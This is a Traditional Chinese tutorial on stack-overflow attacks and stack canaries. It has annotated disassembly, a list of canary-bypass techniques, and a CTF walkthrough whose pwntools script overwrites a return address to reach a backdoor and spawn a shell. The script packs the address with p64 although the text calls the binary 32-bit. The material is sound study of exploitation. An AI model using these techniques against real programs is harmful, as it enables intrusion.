之前已經介紹了C語言函數呼叫棧,本文將正式介紹棧溢位攻擊。
當函數呼叫結束時,將發生函數跳轉,通過讀取存放在棧上的資訊(返回地址),跳轉執行下一條指令。通過棧溢位的方式,可以將返回地址覆蓋為攻擊指令的地址,這樣函數呼叫結束後,將跳轉到攻擊指令繼續執行。
canary是可以比礦工更早發現煤氣洩露的金絲雀,有預警作用。canary是棧上的一個亂數,在程式啟動時生成並儲存在比函數返回地址更低的位置。由於棧溢位是從低地址向高地址覆蓋,所以要想覆蓋到返回地址,則必須先覆蓋canary。
看一個存在棧溢位可能性的C語言程式碼canary.c:
// canary.c
# include <stdio.h>
int main(void)
{
char buf[10];
scanf("%s", buf);
return 0;
}
將canary.c正常編譯成64位元程式canary64,用checksec檢查會發現已經開啟了棧保護(Stack: Canary found),這時,如果出現棧溢位,則程式會丟擲錯誤stack smashing detected
。如果不想啟用棧溢位保護,可以在編譯時加上選項-fno-stack-protector
。我們用gdb檢視一下canary64的部分反組合程式碼。
0x555555555169 <main> endbr64
0x55555555516d <main+4> push rbp
0x55555555516e <main+5> mov rbp, rsp
0x555555555171 <main+8> sub rsp, 0x20
0x555555555175 <main+12> mov rax, qword ptr fs: [0x28] ; 取出canary,放入rax中
0x55555555517e <main+21> mov qword ptr [rbp - 8], rax ; 將rax中存放的canary放到棧[rbp - 8]的位置
0x555555555182 <main+25> xor eax, eax
0x555555555184 <main+27> lea rax, [rbp - 0x12] ; 從[rbp - 0x12]開始存放輸入資料,這些資料從低地址向高地址存放
0x555555555188 <main+31> mov rsi, rax
0x55555555518b <main+34> lea rdi, [rip + 0xe72]
0x555555555192 <main+41> mov eax, 0
0x555555555197 <main+46> call __isoc99_scanf@plt <__isoc99_scanf@plt>
0x55555555519c <main+51> mov eax, 0
0x5555555551a1 <main+56> mov rdx, qword ptr [rbp - 8] ; 將canary取出,放入rdx中
0x5555555551a5 <main+60> xor rdx, qword ptr fs:[0x28] ; 將rdx中存放的canary與原先的值進行比較,如果不同說明發生了棧溢位,呼叫__stack_chk_fail處理
0x5555555551ae <main+69> je main+76 <main+76>
0x5555555551b5 <main+76> leave
0x5555555551b6 <main+77> ret
關於canary的內容已經在上面的反組合程式碼中以註釋的形式說明了。在Linux中,fs暫存器被用於存放執行緒區域性儲存(Thread Local Storage,TLS),TLS主要是為了避免多個執行緒同時存取同一全域性變數或者靜態變數時導致的衝突。如果是64位元程式,canary在fs:[0x28]的位置;如果是32位元程式,canary在fs:[0x14]的位置。在函數開始時,從fs暫存器中取出canary,存放到棧中,在函數返回前,從棧中取回canary,與fs暫存器裡的值對比,如果不同說明發生了棧溢位。
格式化字串繞過canary
通過格式化字串讀取canary的值
canary爆破(針對有fork函數的程式)
fork相當於自我複製,每一次複製出來的程序,記憶體佈局是一樣的,當然canary也是一樣。我們可以逐位爆破,如果程式崩潰說明這一位不對,如果程式正常就可以接著跑下一位,直到跑出正確的canary。
stack samshing
故意觸發canary_ssp leak
劫持__stack_chk_fail
修改got表中__stack_chk_fail函數的地址,在棧溢位後執行該函數,但由於該函數地址被修改,所以程式會跳轉到我們想要執行的地址。
下面介紹一個簡單的棧溢位題目,pwn_level1,題目來自Charlie的部落格,感謝大佬。
首先用checksec檢查一下,發現是32位元程式,沒有開啟棧溢位保護,這也就意味著當棧溢位時不會被識別出來。用chmod給程式新增執行許可權,執行一下,我們輸入一些內容,然後程式就結束了。
接著把程式放到IDA Pro 32中分析,可以看到main函數呼叫了vulnerable_function函數,在這個函數中定義了一個長度為9的buf,但是read讀取時卻可以讀取0x100位元組資料,這顯然會出現棧溢位。
用什麼資料來填充輸入使得棧溢位呢?棧溢位攻擊的方法是用攻擊指令地址來覆蓋原先的正常返回地址,我們可以看到程式中還存在backdoor函數,這個函數的作用是獲取shell,顯然我們需要把函數在棧上的返回地址修改為backdoor函數的地址,通過IDA Pro可以看到這個函數的地址是0x804849A。
下面是vulnerable_function函數呼叫read函數時,棧上的引數。buf是緩衝區,r是返回地址,從緩衝區到返回地址有13個位元組,因此,我們構建的payload需要先填充這13個位元組,然後把返回地址覆蓋成backdoor函數的地址。
具體的攻擊指令碼如下:
# pwn_level1_exp.py
from pwn import *
p = process("./pwn_level1") # 啟動程序
backdoor = 0x804849A # backdoor函數地址
str = 'a' * 13 # 13個位元組的填充值
payload = str.encode() + p64(backdoor) # 構建payload,p64用於將int轉成bytes
p.recvuntil(b"try to stackoverflow!!\n") # 當收到「try to stackoverflow!!\n」,由於程式是用put輸出,預設有換行符
p.sendline(payload) # 傳送payload
p.interactive() # 互動
由於我用的是python3,與之前python2的指令碼是不同的。python3嚴格區分string和bytes,而sendline的引數是bytes型別,所以構建的payload也應該是bytes型別。p64轉換的返回值就是bytes型別,需要將之前的填充字元也轉成bytes型別(str.encode()
)。recvuntil接收的也是bytes型別。
執行攻擊指令碼,即可獲取shell,攻擊成功。
星盟安全團隊課程:https://www.bilibili.com/video/BV1Uv411j7fr
CTF競賽權威指南(Pwn篇)(楊超 編著,吳石 eee戰隊 審校,電子工業出版社)
Charlie的部落格: https://ch4r1l3.github.io/2018/07/20/pwn從入門到放棄第五章——最簡簡簡簡簡簡單的棧溢位/
pwntools官方檔案:http://docs.pwntools.com/en/latest/